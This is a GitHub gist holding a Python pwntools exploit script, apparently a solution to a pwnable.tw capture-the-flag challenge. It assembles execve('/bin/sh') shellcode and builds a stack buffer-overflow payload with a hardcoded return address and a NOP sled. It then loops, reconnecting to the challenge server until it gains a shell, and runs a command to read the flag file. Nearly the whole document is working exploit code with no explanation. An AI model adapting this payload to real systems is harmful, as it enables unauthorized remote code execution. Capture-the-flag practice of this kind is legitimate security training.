Created
January 11, 2016 11:39
-
-
Save hanhanW/8b91f5883a8b86aa47c4 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
from pwn import * | |
sh = ''' | |
/* push '/bin///sh\x00' */ | |
push 0x68 | |
push 0x732f2f2f | |
push 0x6e69622f | |
/* call execve('esp', 0, 0) */ | |
mov ebx, esp | |
xor ecx, ecx | |
push 0x74 | |
pop eax | |
sub eax, 0x69 | |
cdq | |
int 0x80 | |
''' | |
shcode = asm(sh) | |
l = len(shcode) | |
ret = p32(0xfff54678) | |
# 92 | |
code = shcode + '1'*7 + shcode + '1'*7 + shcode + '1'*(92-64-25) + ret | |
code += asm(shellcraft.nop()) * 1500 | |
code += shcode | |
t = 1 | |
while True: | |
try: | |
r = remote('pwning.pwnable.tw', 48879) | |
r.sendline(code) | |
try: | |
print r.recvline(), | |
print r.recvline(), | |
print r.recvline(), | |
except EOFError: | |
print 'failed' | |
print 'failed' | |
print 'failed' | |
r.close() | |
continue | |
print t | |
t += 1 | |
r.sendline('cat home/bofsofun/flag') | |
try: | |
print repr(r.recvline()) | |
r.interactive() | |
except EOFError: | |
print 'failed' | |
r.close() | |
except: | |
time.sleep(1) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment